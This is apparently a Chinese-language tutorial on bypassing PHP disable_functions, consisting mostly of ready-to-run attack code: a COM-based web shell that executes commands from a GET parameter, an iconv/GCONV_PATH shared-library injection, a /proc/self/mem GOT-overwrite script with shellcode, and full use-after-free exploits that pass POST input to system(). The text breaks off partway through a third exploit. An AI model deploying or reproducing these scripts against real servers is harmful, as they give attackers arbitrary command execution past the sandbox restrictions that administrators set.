1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $wsh  = isset ($_GET ['wsh' ]) ? $_GET ['wsh' ] : 'wscript' ;if ($wsh  == 'wscript' ) {     $command  = $_GET ['cmd' ];     $wshit  = new  COM ('WScript.shell' ) or  die ("Create Wscript.Shell Failed!" );     $exec  = $wshit ->exec ("cmd /c" .$command );     $stdout  = $exec ->StdOut ();     $stroutput  = $stdout ->ReadAll ();     echo  $stroutput ; }elseif ($wsh  == 'application' ) {     $command  = $_GET ['cmd' ];     $wshit  = new  COM ("Shell.Application" ) or  die ("Shell.Application Failed!" );     $exec  = $wshit ->ShellExecute ("cmd" ,"/c " .$command ); }else  {   echo (0 ); }?> 
 
iconv 利用条件 
Linux 操作系统 
putenv 
iconv 
存在可写的目录, 需要上传 .so 文件 
 
原理 
php在执行iconv函数时,实际上是调用glibc中的iconv相关函数,其中一个很重要的函数叫做iconv_open()
php的iconv函数的第一个参数是字符集的名字,这个参数也会传递到glibc的iconv_open函数的参数中
iconv_open函数的执行过程: 1:iconv_open函数首先会找到系统提供的gconv-modules文件,查看各个字符集的.so文件所在位置 2:然后再根据gconv-modules文件的指示去链接参数对应的.so文件 3:之后会调用.so文件中的gconv()与gonv_init()函数
使用的时候在编码转换时指定设置好的xxx编码,就会去调用指定的so文件了
利用 
gconv-modules
1 2 module  PAYLOAD//     INTERNAL    ../../ ../../ ../../ ../../ tmp/payload    2  module  INTERNAL    PAYLOAD//     ../../ ../../ ../../ ../../ tmp/payload    2 
 
payload.c
gcc payload.c -o payload.so -shared -fPIC
1 2 3 4 5 6 7 8 9 10 #include  <stdio.h>  #include  <stdlib.h>  void  gconv ()  {}void  gconv_init ()  {   puts ("pwned" );   system("ls / > /tmp/1.txt" );   exit (0 ); }
 
1.php
1 2 3 4 5 6 7 <?php      putenv ("GCONV_PATH=/tmp/" );     iconv ("payload" , "UTF-8" , "whatever" );          ?> 
 
linux系统提供了一个环境变量:GCONV_PATH,该环境变量能够使glibc使用用户自定义的gconv-modules文件
 
将 gconv-modules 和编译好的 payload.so 传入tmp后执行1.php即可
写shellcode劫持got表 深入了解GOT,PLT和动态链接 
劫持got表的思路
读 /proc/self/maps 和 /proc/self/exe ,分别找到程序基地址,栈地址,libc地址和利用函数(open)的got表地址 
写 /proc/self/mem ,修改利用函数(open)的got表地址为存放shellcode的地址 
构造shellcode并写入 
通过例如readfile等可以调用open函数的函数来触发shellcode 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 <?php define ('SHT_NULL' ,0 );define ('SHT_PROGBITS' ,1 );define ('SHT_SYMTAB' ,2 );define ('SHT_STRTAB' ,3 );define ('SHT_RELA' ,4 );define ('SHT_HASH' ,5 );define ('SHT_DYNAMIC' ,6 );define ('SHT_NOTE' ,7 );define ('SHT_NOBITS' ,8 );define ('SHT_REL' ,9 );define ('SHT_SHLIB' ,10 );define ('SHT_DNYSYM' ,11 );define ('SHT_INIT_ARRAY' ,14 );define ('SHT_FINI_ARRAY' ,15 );define ('SHT_GNU_HASH' ,0x6ffffff6 );define ('SHT_GNU_versym' ,0x6fffffff );define ('SHT_GNU_verneed' ,0x6ffffffe );class  elf  {     private  $elf_bin ;     private  $strtab_section =array ();     private  $rel_plt_section =array ();     private  $dynsym_section =array ();     public  $shared_librarys =array ();     public  $rel_plts =array ();     public  function  getElfBin ( )     {         return  $this ->elf_bin;     }     public  function  setElfBin ($elf_bin  )     {         $this ->elf_bin = fopen ($elf_bin ,"rb" );     }     public  function  unp ($value  )     {         return  hexdec (bin2hex (strrev ($value )));     }     public  function  get ($start ,$len  ) {         fseek ($this ->elf_bin,$start );         $data =fread  ($this ->elf_bin,$len );         rewind ($this ->elf_bin);         return  $this ->unp ($data );     }     public  function  get_section ($elf_bin =""  ) {         if  ($elf_bin ){             $this ->setElfBin ($elf_bin );         }         $this ->elf_shoff=$this ->get (0x28 ,8 );         $this ->elf_shentsize=$this ->get (0x3a ,2 );         $this ->elf_shnum=$this ->get (0x3c ,2 );         $this ->elf_shstrndx=$this ->get (0x3e ,2 );         for  ($i =0 ;$i <$this ->elf_shnum;$i +=1 ){             $sh_type =$this ->get ($this ->elf_shoff+$i *$this ->elf_shentsize+4 ,4 );             switch  ($sh_type ){                 case  SHT_STRTAB:                     $this ->strtab_section[$i ]=                         array (                             'strtab_offset' =>$this ->get ($this ->elf_shoff+$i *$this ->elf_shentsize+24 ,8 ),                             'strtab_size' =>$this ->strtab_size=$this ->get ($this ->elf_shoff+$i *$this ->elf_shentsize+32 ,8 )                         );                     break ;                 case  SHT_RELA:                     $this ->rel_plt_section[$i ]=                         array (                             'rel_plt_offset' =>$this ->get ($this ->elf_shoff+$i *$this ->elf_shentsize+24 ,8 ),                             'rel_plt_size' =>$this ->strtab_size=$this ->get ($this ->elf_shoff+$i *$this ->elf_shentsize+32 ,8 ),                             'rel_plt_entsize' =>$this ->get ($this ->elf_shoff+$i *$this ->elf_shentsize+56 ,8 )                         );                     break ;                 case  SHT_DNYSYM:                     $this ->dynsym_section[$i ]=                         array (                             'dynsym_offset' =>$this ->get ($this ->elf_shoff+$i *$this ->elf_shentsize+24 ,8 ),                             'dynsym_size' =>$this ->strtab_size=$this ->get ($this ->elf_shoff+$i *$this ->elf_shentsize+32 ,8 ),                             'dynsym_entsize' =>$this ->get ($this ->elf_shoff+$i *$this ->elf_shentsize+56 ,8 )                         );                     break ;                 case  SHT_NULL:                 case  SHT_PROGBITS:                 case  SHT_DYNAMIC:                 case  SHT_SYMTAB:                 case  SHT_NOBITS:                 case  SHT_NOTE:                 case  SHT_FINI_ARRAY:                 case  SHT_INIT_ARRAY:                 case  SHT_GNU_versym:                 case  SHT_GNU_HASH:                     break ;                 default :                                  }         }     }     public  function  get_reloc ( ) {         $rel_plts =array ();         $dynsym_section = reset ($this ->dynsym_section);         $strtab_section =reset ($this ->strtab_section);         foreach  ($this ->rel_plt_section as  $rel_plt  ){             for  ($i =$rel_plt ['rel_plt_offset' ];$i <$rel_plt ['rel_plt_offset' ]+$rel_plt ['rel_plt_size' ];$i +=$rel_plt ['rel_plt_entsize' ])             {                 $rel_offset =$this ->get ($i ,8 );                 $rel_info =$this ->get ($i +8 ,8 )>>32 ;                 $fun_name_offset =$this ->get ($dynsym_section ['dynsym_offset' ]+$rel_info *$dynsym_section ['dynsym_entsize' ],4 );                 $fun_name_offset =$strtab_section ['strtab_offset' ]+$fun_name_offset -1 ;                 $fun_name ='' ;                 while  ($this ->get (++$fun_name_offset ,1 )!="" ){                     $fun_name .=chr ($this ->get ($fun_name_offset ,1 ));                 }                 $rel_plts [$fun_name ]=$rel_offset ;             }         }         $this ->rel_plts=$rel_plts ;     }     public  function  get_shared_library ($elf_bin =""  ) {         if  ($elf_bin ){             $this ->setElfBin ($elf_bin );         }         $shared_librarys =array ();         $dynsym_section =reset ($this ->dynsym_section);         $strtab_section =reset ($this ->strtab_section);         for ($i =$dynsym_section ['dynsym_offset' ]+$dynsym_section ['dynsym_entsize' ];$i <$dynsym_section ['dynsym_offset' ]+$dynsym_section ['dynsym_size' ];$i +=$dynsym_section ['dynsym_entsize' ])         {             $shared_library_offset =$this ->get ($i +8 ,8 );             $fun_name_offset =$this ->get ($i ,4 );             $fun_name_offset =$fun_name_offset +$strtab_section ['strtab_offset' ]-1 ;             $fun_name ='' ;             while  ($this ->get (++$fun_name_offset ,1 )!="" ){                 $fun_name .=chr ($this ->get ($fun_name_offset ,1 ));             }             $shared_librarys [$fun_name ]=$shared_library_offset ;         }         $this ->shared_librarys=$shared_librarys ;     }     public  function  close ( ) {         fclose ($this ->elf_bin);     }     public  function  __destruct ( )     {         $this ->close ();     }     public  function  packlli ($value  )  {         $higher  = ($value  & 0xffffffff00000000 ) >> 32 ;         $lower  = $value  & 0x00000000ffffffff ;         return  pack ('V2' , $lower , $higher );     } }$test =new  elf ();$test ->get_section ('/proc/self/exe' ); $test ->get_reloc ();  $open_php =$test ->rel_plts['open' ];$maps  = file_get_contents ('/proc/self/maps' );preg_match ('/(\w+)-(\w+)\s+.+\[stack]/' , $maps , $stack );preg_match ('/(\w+)-(\w+).*?libc-/' ,$maps ,$libcgain );$libc_base  = "0x" .$libcgain [1 ];echo  "Libc base: " .$libc_base ."\n" ;echo  "Stack location: " .$stack [1 ]."\n" ;$pie_base  = hexdec ("0x" .(explode ('-' , $maps )[0 ]));echo  "PIE base: " .$pie_base ."\n" ;$test2 =new  elf ();preg_match ('#.*?(/.*libc-\d.\d\d.so)#' ,$maps ,$libc ); $test2 ->get_section ($libc [1 ]);$test2 ->get_reloc ();$test2 ->get_shared_library (); $sys  = $test2 ->shared_librarys['system' ];  $sys_addr  = $sys  + hexdec ($libc_base );  echo  "system addr: " .$sys_addr ."\n" ;$mem  = fopen ('/proc/self/mem' ,'wb' ); $shellcode_loc  = $pie_base  + 0x2333 ;  fseek ($mem ,$open_php );  fwrite ($mem ,$test ->packlli ($shellcode_loc )); $command ="ls > /var/www/html/1.txt" ;$stack =hexdec ("0x" .$stack [1 ]);fseek ($mem , $stack );  fwrite ($mem , "{$command} \x00" );  $cmd  = $stack ;  $shellcode  = "H\xbf" .$test ->packlli ($cmd )."H\xb8" .$test ->packlli ($sys_addr )."P\xc3" ;fseek ($mem ,$shellcode_loc ); fwrite ($mem ,$shellcode ); readfile ('aaa' ,'r' ); echo  "DONE\n" ;exit ();
 
其中的shellcode为
1 2 3 4 5 6 7 8 9 10 11 >>>  from  pwn import  *>>>  context.arch = "amd64" >>>  shellcode=''' ...  mov rdi,0xffffffff...  mov rax,0xffffffff...  push rax...  ret...  ''' >>>>>>  asm(shellcode)b'H\xbf\xff\xff\xff\xff\x00\x00\x00\x00H\xb8\xff\xff\xff\xff\x00\x00\x00\x00P\xc3' 
 
利用条件 
/proc/self/mem 可读写 
Linux 内核版本 >= 2.98 
PHP-CGI 或 PHP-FPM 启动 
 
apache+php 由于 apache 调用 setuid 设置 www-data 权限工作进程,/proc/self/mem 属于 www-data 且权限是600,/proc/self/ 目录属于root用户,导致没有权限读写
但是对于 Nginx+php ,且为低版本的 php-fpm(PHP<5.6),/proc/self/属于 www-data ,可以通过写入GOT表来实现RCE
注:我在实际利用中并没有成功
 
利用UAF Bypass 各种利用二进制漏洞去攻击的手法 原理就不细说了,也不太懂pwn,放链接了
php7_GC_UAF(PHP 7.0-7.3) 利用条件 
Linux 操作系统 
PHP7.0 - all versions to date 
PHP7.1 - all versions to date 
PHP7.2 - all versions to date 
PHP7.3 - all versions to date 
 
原理 
通过PHP垃圾收集器中堆溢出来绕过 disable_functions 并执行系统命令
PHP中的内存破坏漏洞利用学习(1st) 
exp 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 <?php pwn ($_POST ['cmd' ]);function  pwn ($cmd  )  {     global  $abc , $helper ;     function  str2ptr (&$str , $p  = 0 , $s  = 8  )  {         $address  = 0 ;         for ($j  = $s -1 ; $j  >= 0 ; $j --) {             $address  <<= 8 ;             $address  |= ord ($str [$p +$j ]);         }         return  $address ;     }     function  ptr2str ($ptr , $m  = 8  )  {         $out  = "" ;         for  ($i =0 ; $i  < $m ; $i ++) {             $out  .= chr ($ptr  & 0xff );             $ptr  >>= 8 ;         }         return  $out ;     }     function  write (&$str , $p , $v , $n  = 8  )  {         $i  = 0 ;         for ($i  = 0 ; $i  < $n ; $i ++) {             $str [$p  + $i ] = chr ($v  & 0xff );             $v  >>= 8 ;         }     }     function  leak ($addr , $p  = 0 , $s  = 8  )  {         global  $abc , $helper ;         write ($abc , 0x68 , $addr  + $p  - 0x10 );         $leak  = strlen ($helper ->a);         if ($s  != 8 ) { $leak  %= 2  << ($s  * 8 ) - 1 ; }         return  $leak ;     }     function  parse_elf ($base  )  {         $e_type  = leak ($base , 0x10 , 2 );         $e_phoff  = leak ($base , 0x20 );         $e_phentsize  = leak ($base , 0x36 , 2 );         $e_phnum  = leak ($base , 0x38 , 2 );         for ($i  = 0 ; $i  < $e_phnum ; $i ++) {             $header  = $base  + $e_phoff  + $i  * $e_phentsize ;             $p_type   = leak ($header , 0 , 4 );             $p_flags  = leak ($header , 4 , 4 );             $p_vaddr  = leak ($header , 0x10 );             $p_memsz  = leak ($header , 0x28 );             if ($p_type  == 1  && $p_flags  == 6 ) {                                   $data_addr  = $e_type  == 2  ? $p_vaddr  : $base  + $p_vaddr ;                 $data_size  = $p_memsz ;             } else  if ($p_type  == 1  && $p_flags  == 5 ) {                  $text_size  = $p_memsz ;             }         }         if (!$data_addr  || !$text_size  || !$data_size )             return  false ;         return  [$data_addr , $text_size , $data_size ];     }     function  get_basic_funcs ($base , $elf  )  {         list ($data_addr , $text_size , $data_size ) = $elf ;         for ($i  = 0 ; $i  < $data_size  / 8 ; $i ++) {             $leak  = leak ($data_addr , $i  * 8 );             if ($leak  - $base  > 0  && $leak  - $base  < $data_addr  - $base ) {                 $deref  = leak ($leak );                                  if ($deref  != 0x746e6174736e6f63 )                     continue ;             } else  continue ;             $leak  = leak ($data_addr , ($i  + 4 ) * 8 );             if ($leak  - $base  > 0  && $leak  - $base  < $data_addr  - $base ) {                 $deref  = leak ($leak );                                  if ($deref  != 0x786568326e6962 )                     continue ;             } else  continue ;             return  $data_addr  + $i  * 8 ;         }     }     function  get_binary_base ($binary_leak  )  {         $base  = 0 ;         $start  = $binary_leak  & 0xfffffffffffff000 ;         for ($i  = 0 ; $i  < 0x1000 ; $i ++) {             $addr  = $start  - 0x1000  * $i ;             $leak  = leak ($addr , 0 , 7 );             if ($leak  == 0x10102464c457f ) {                  return  $addr ;             }         }     }     function  get_system ($basic_funcs  )  {         $addr  = $basic_funcs ;         do  {             $f_entry  = leak ($addr );             $f_name  = leak ($f_entry , 0 , 6 );             if ($f_name  == 0x6d6574737973 ) {                  return  leak ($addr  + 8 );             }             $addr  += 0x20 ;         } while ($f_entry  != 0 );         return  false ;     }     class  ryat   {         var  $ryat ;         var  $chtg ;                  function  __destruct ( )         {             $this ->chtg = $this ->ryat;             $this ->ryat = 1 ;         }     }     class  Helper   {         public  $a , $b , $c , $d ;     }     if (stristr (PHP_OS, 'WIN' )) {         die ('This PoC is for *nix systems only.' );     }     $n_alloc  = 10 ;      $contiguous  = [];     for ($i  = 0 ; $i  < $n_alloc ; $i ++)         $contiguous [] = str_repeat ('A' , 79 );     $poc  = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}' ;     $out  = unserialize ($poc );     gc_collect_cycles ();     $v  = [];     $v [0 ] = ptr2str (0 , 79 );     unset ($v );     $abc  = $out [2 ][0 ];     $helper  = new  Helper ;     $helper ->b = function  ($x  )  { };     if (strlen ($abc ) == 79  || strlen ($abc ) == 0 ) {         die ("UAF failed" );     }          $closure_handlers  = str2ptr ($abc , 0 );     $php_heap  = str2ptr ($abc , 0x58 );     $abc_addr  = $php_heap  - 0xc8 ;          write ($abc , 0x60 , 2 );     write ($abc , 0x70 , 6 );          write ($abc , 0x10 , $abc_addr  + 0x60 );     write ($abc , 0x18 , 0xa );     $closure_obj  = str2ptr ($abc , 0x20 );     $binary_leak  = leak ($closure_handlers , 8 );     if (!($base  = get_binary_base ($binary_leak ))) {         die ("Couldn't determine binary base address" );     }     if (!($elf  = parse_elf ($base ))) {         die ("Couldn't parse ELF header" );     }     if (!($basic_funcs  = get_basic_funcs ($base , $elf ))) {         die ("Couldn't get basic_functions address" );     }     if (!($zif_system  = get_system ($basic_funcs ))) {         die ("Couldn't get zif_system address" );     }          $fake_obj_offset  = 0xd0 ;     for ($i  = 0 ; $i  < 0x110 ; $i  += 8 ) {         write ($abc , $fake_obj_offset  + $i , leak ($closure_obj , $i ));     }          write ($abc , 0x20 , $abc_addr  + $fake_obj_offset );     write ($abc , 0xd0  + 0x38 , 1 , 4 );      write ($abc , 0xd0  + 0x68 , $zif_system );      ($helper ->b)($cmd );     exit (); }
 
JSON_Serializer_UAF(PHP 7.1-7.3) 利用条件 
Linux 操作系统 
PHP7.1 - all versions to date 
PHP7.2 < 7.2.19 (released: 30 May 2019) 
PHP7.3 < 7.3.6 (released: 30 May 2019) 
 
原理 
此漏洞利用json序列化程序中的释放后使用漏洞,利用json序列化程序中的堆溢出触发,以绕过 disable_functions 和执行系统命令
Use after free with json serializer 
exp 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 <?php $cmd  = $_POST ['cmd' ];$n_alloc  = 10 ; class  MySplFixedArray  extends  SplFixedArray   {     public  static  $leak ; }class  Z  implements  JsonSerializable   {     public  function  write (&$str , $p , $v , $n  = 8  )  {       $i  = 0 ;       for ($i  = 0 ; $i  < $n ; $i ++) {         $str [$p  + $i ] = chr ($v  & 0xff );         $v  >>= 8 ;       }     }     public  function  str2ptr (&$str , $p  = 0 , $s  = 8  )  {         $address  = 0 ;         for ($j  = $s -1 ; $j  >= 0 ; $j --) {             $address  <<= 8 ;             $address  |= ord ($str [$p +$j ]);         }         return  $address ;     }     public  function  ptr2str ($ptr , $m  = 8  )  {         $out  = "" ;         for  ($i =0 ; $i  < $m ; $i ++) {             $out  .= chr ($ptr  & 0xff );             $ptr  >>= 8 ;         }         return  $out ;     }          public  function  leak1 ($addr  )  {         global  $spl1 ;         $this ->write ($this ->abc, 8 , $addr  - 0x10 );         return  strlen (get_class ($spl1 ));     }          public  function  leak2 ($addr , $p  = 0 , $s  = 8  )  {         global  $spl1 , $fake_tbl_off ;                  $this ->write ($this ->abc, $fake_tbl_off  + 0x10 , 0xdeadbeef );          $this ->write ($this ->abc, $fake_tbl_off  + 0x18 , $addr  + $p  - 0x10 );          $this ->write ($this ->abc, $fake_tbl_off  + 0x20 , 6 );          $leak  = strlen ($spl1 ::$leak );         if ($s  != 8 ) { $leak  %= 2  << ($s  * 8 ) - 1 ; }         return  $leak ;     }     public  function  parse_elf ($base  )  {         $e_type  = $this ->leak2 ($base , 0x10 , 2 );         $e_phoff  = $this ->leak2 ($base , 0x20 );         $e_phentsize  = $this ->leak2 ($base , 0x36 , 2 );         $e_phnum  = $this ->leak2 ($base , 0x38 , 2 );         for ($i  = 0 ; $i  < $e_phnum ; $i ++) {             $header  = $base  + $e_phoff  + $i  * $e_phentsize ;             $p_type   = $this ->leak2 ($header , 0 , 4 );             $p_flags  = $this ->leak2 ($header , 4 , 4 );             $p_vaddr  = $this ->leak2 ($header , 0x10 );             $p_memsz  = $this ->leak2 ($header , 0x28 );             if ($p_type  == 1  && $p_flags  == 6 ) {                                   $data_addr  = $e_type  == 2  ? $p_vaddr  : $base  + $p_vaddr ;                 $data_size  = $p_memsz ;             } else  if ($p_type  == 1  && $p_flags  == 5 ) {                  $text_size  = $p_memsz ;             }         }         if (!$data_addr  || !$text_size  || !$data_size )             return  false ;         return  [$data_addr , $text_size , $data_size ];     }     public  function  get_basic_funcs ($base , $elf  )  {         list ($data_addr , $text_size , $data_size ) = $elf ;         for ($i  = 0 ; $i  < $data_size  / 8 ; $i ++) {             $leak  = $this ->leak2 ($data_addr , $i  * 8 );             if ($leak  - $base  > 0  && $leak  - $base  < $data_addr  - $base ) {                 $deref  = $this ->leak2 ($leak );                                  if ($deref  != 0x746e6174736e6f63 )                     continue ;             } else  continue ;             $leak  = $this ->leak2 ($data_addr , ($i  + 4 ) * 8 );             if ($leak  - $base  > 0  && $leak  - $base  < $data_addr  - $base ) {                 $deref  = $this ->leak2 ($leak );                                  if ($deref  != 0x786568326e6962 )                     continue ;             } else  continue ;             return  $data_addr  + $i  * 8 ;         }     }     public  function  get_binary_base ($binary_leak  )  {         $base  = 0 ;         $start  = $binary_leak  & 0xfffffffffffff000 ;         for ($i  = 0 ; $i  < 0x1000 ; $i ++) {             $addr  = $start  - 0x1000  * $i ;             $leak  = $this ->leak2 ($addr , 0 , 7 );             if ($leak  == 0x10102464c457f ) {                  return  $addr ;             }         }     }     public  function  get_system ($basic_funcs  )  {         $addr  = $basic_funcs ;         do  {             $f_entry  = $this ->leak2 ($addr );             $f_name  = $this ->leak2 ($f_entry , 0 , 6 );             if ($f_name  == 0x6d6574737973 ) {                  return  $this ->leak2 ($addr  + 8 );             }             $addr  += 0x20 ;         } while ($f_entry  != 0 );         return  false ;     }     public  function  jsonSerialize ( )  {         global  $y , $cmd , $spl1 , $fake_tbl_off , $n_alloc ;         $contiguous  = [];         for ($i  = 0 ; $i  < $n_alloc ; $i ++)             $contiguous [] = new  DateInterval ('PT1S' );         $room  = [];         for ($i  = 0 ; $i  < $n_alloc ; $i ++)             $room [] = new  Z ();         $_protector  = $this ->ptr2str (0 , 78 );         $this ->abc = $this ->ptr2str (0 , 79 );         $p  = new  DateInterval ('PT1S' );         unset ($y [0 ]);         unset ($p );         $protector  = ".$_protector " ;         $x  = new  DateInterval ('PT1S' );         $x ->d = 0x2000 ;         $x ->h = 0xdeadbeef ;                  if ($this ->str2ptr ($this ->abc) != 0xdeadbeef ) {             die ('UAF failed.' );         }         $spl1  = new  MySplFixedArray ();         $spl2  = new  MySplFixedArray ();                  $class_entry  = $this ->str2ptr ($this ->abc, 0x120 );         $handlers  = $this ->str2ptr ($this ->abc, 0x128 );         $php_heap  = $this ->str2ptr ($this ->abc, 0x1a8 );         $abc_addr  = $php_heap  - 0x218 ;                  $fake_obj  = $abc_addr ;         $this ->write ($this ->abc, 0 , 2 );          $this ->write ($this ->abc, 0x120 , $abc_addr );                   for ($i  = 0 ; $i  < 16 ; $i ++) {             $this ->write ($this ->abc, 0x10  + $i  * 8 ,                  $this ->leak1 ($class_entry  + 0x10  + $i  * 8 ));         }                  $fake_tbl_off  = 0x70  * 4  - 16 ;         $this ->write ($this ->abc, 0x30 , $abc_addr  + $fake_tbl_off );         $this ->write ($this ->abc, 0x38 , $abc_addr  + $fake_tbl_off );                  $this ->write ($this ->abc, $fake_tbl_off , $abc_addr  + $fake_tbl_off  + 0x10 );          $this ->write ($this ->abc, $fake_tbl_off  + 8 , 10 );                   $binary_leak  = $this ->leak2 ($handlers  + 0x10 );         if (!($base  = $this ->get_binary_base ($binary_leak ))) {             die ("Couldn't determine binary base address" );         }                  if (!($elf  = $this ->parse_elf ($base ))) {             die ("Couldn't parse ELF" );         }                  if (!($basic_funcs  = $this ->get_basic_funcs ($base , $elf ))) {             die ("Couldn't get basic_functions address" );         }                  if (!($zif_system  = $this ->get_system ($basic_funcs ))) {             die ("Couldn't get zif_system address" );         }                           $fake_bkt_off  = 0x70  * 5  - 16 ;         $function_data  = $this ->str2ptr ($this ->abc, 0x50 );         for ($i  = 0 ; $i  < 4 ; $i ++) {             $this ->write ($this ->abc, $fake_bkt_off  + $i  * 8 ,                  $this ->leak2 ($function_data  + 0x40  * 4 , $i  * 8 ));         }                  $fake_bkt_addr  = $abc_addr  + $fake_bkt_off ;         $this ->write ($this ->abc, 0x50 , $fake_bkt_addr );         for ($i  = 0 ; $i  < 3 ; $i ++) {             $this ->write ($this ->abc, 0x58  + $i  * 4 , 1 , 4 );         }                  $function_zval  = $this ->str2ptr ($this ->abc, $fake_bkt_off );         for ($i  = 0 ; $i  < 12 ; $i ++) {             $this ->write ($this ->abc,  $fake_bkt_off  + 0x70  + $i  * 8 ,                  $this ->leak2 ($function_zval , $i  * 8 ));         }                  $this ->write ($this ->abc, $fake_bkt_off  + 0x70  + 0x30 , $zif_system );         $this ->write ($this ->abc, $fake_bkt_off , $fake_bkt_addr  + 0x70 );         $spl1 ->offsetGet ($cmd );         exit ();     } }$y  = [new  Z ()];json_encode ([&$y ]);
 
php7_Backtrace_UAF(PHP 7.0-7.4) 利用条件 
Linux 操作系统 
PHP7.0 - all versions to date 
PHP7.1 - all versions to date 
PHP7.2 - all versions to date 
PHP7.3 < 7.3.15 (released 20 Feb 2020) 
PHP7.4 < 7.4.3 (released 20 Feb 2020) 
 
原理 
该漏洞利用在 debug_backtrace() 函数中使用了两年的一个 bug。我们可以诱使它返回对已被破坏的变量的引用,从而导致释放后使用漏洞
Use-after-free when accessing already destructed backtrace arguments 
exp 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 <?php pwn ($_POST ['cmd' ]);function  pwn ($cmd  )  {     global  $abc , $helper , $backtrace ;     class  Vuln   {         public  $a ;         public  function  __destruct ( )  {              global  $backtrace ;              unset ($this ->a);             $backtrace  = (new  Exception )->getTrace ();              if (!isset ($backtrace [1 ]['args' ])) {                  $backtrace  = debug_backtrace ();             }         }     }     class  Helper   {         public  $a , $b , $c , $d ;     }     function  str2ptr (&$str , $p  = 0 , $s  = 8  )  {         $address  = 0 ;         for ($j  = $s -1 ; $j  >= 0 ; $j --) {             $address  <<= 8 ;             $address  |= ord ($str [$p +$j ]);         }         return  $address ;     }     function  ptr2str ($ptr , $m  = 8  )  {         $out  = "" ;         for  ($i =0 ; $i  < $m ; $i ++) {             $out  .= chr ($ptr  & 0xff );             $ptr  >>= 8 ;         }         return  $out ;     }     function  write (&$str , $p , $v , $n  = 8  )  {         $i  = 0 ;         for ($i  = 0 ; $i  < $n ; $i ++) {             $str [$p  + $i ] = chr ($v  & 0xff );             $v  >>= 8 ;         }     }     function  leak ($addr , $p  = 0 , $s  = 8  )  {         global  $abc , $helper ;         write ($abc , 0x68 , $addr  + $p  - 0x10 );         $leak  = strlen ($helper ->a);         if ($s  != 8 ) { $leak  %= 2  << ($s  * 8 ) - 1 ; }         return  $leak ;     }     function  parse_elf ($base  )  {         $e_type  = leak ($base , 0x10 , 2 );         $e_phoff  = leak ($base , 0x20 );         $e_phentsize  = leak ($base , 0x36 , 2 );         $e_phnum  = leak ($base , 0x38 , 2 );         for ($i  = 0 ; $i  < $e_phnum ; $i ++) {             $header  = $base  + $e_phoff  + $i  * $e_phentsize ;             $p_type   = leak ($header , 0 , 4 );             $p_flags  = leak ($header , 4 , 4 );             $p_vaddr  = leak ($header , 0x10 );             $p_memsz  = leak ($header , 0x28 );             if ($p_type  == 1  && $p_flags  == 6 ) {                                   $data_addr  = $e_type  == 2  ? $p_vaddr  : $base  + $p_vaddr ;                 $data_size  = $p_memsz ;             } else  if ($p_type  == 1  && $p_flags  == 5 ) {                  $text_size  = $p_memsz ;             }         }         if (!$data_addr  || !$text_size  || !$data_size )             return  false ;         return  [$data_addr , $text_size , $data_size ];     }     function  get_basic_funcs ($base , $elf  )  {         list ($data_addr , $text_size , $data_size ) = $elf ;         for ($i  = 0 ; $i  < $data_size  / 8 ; 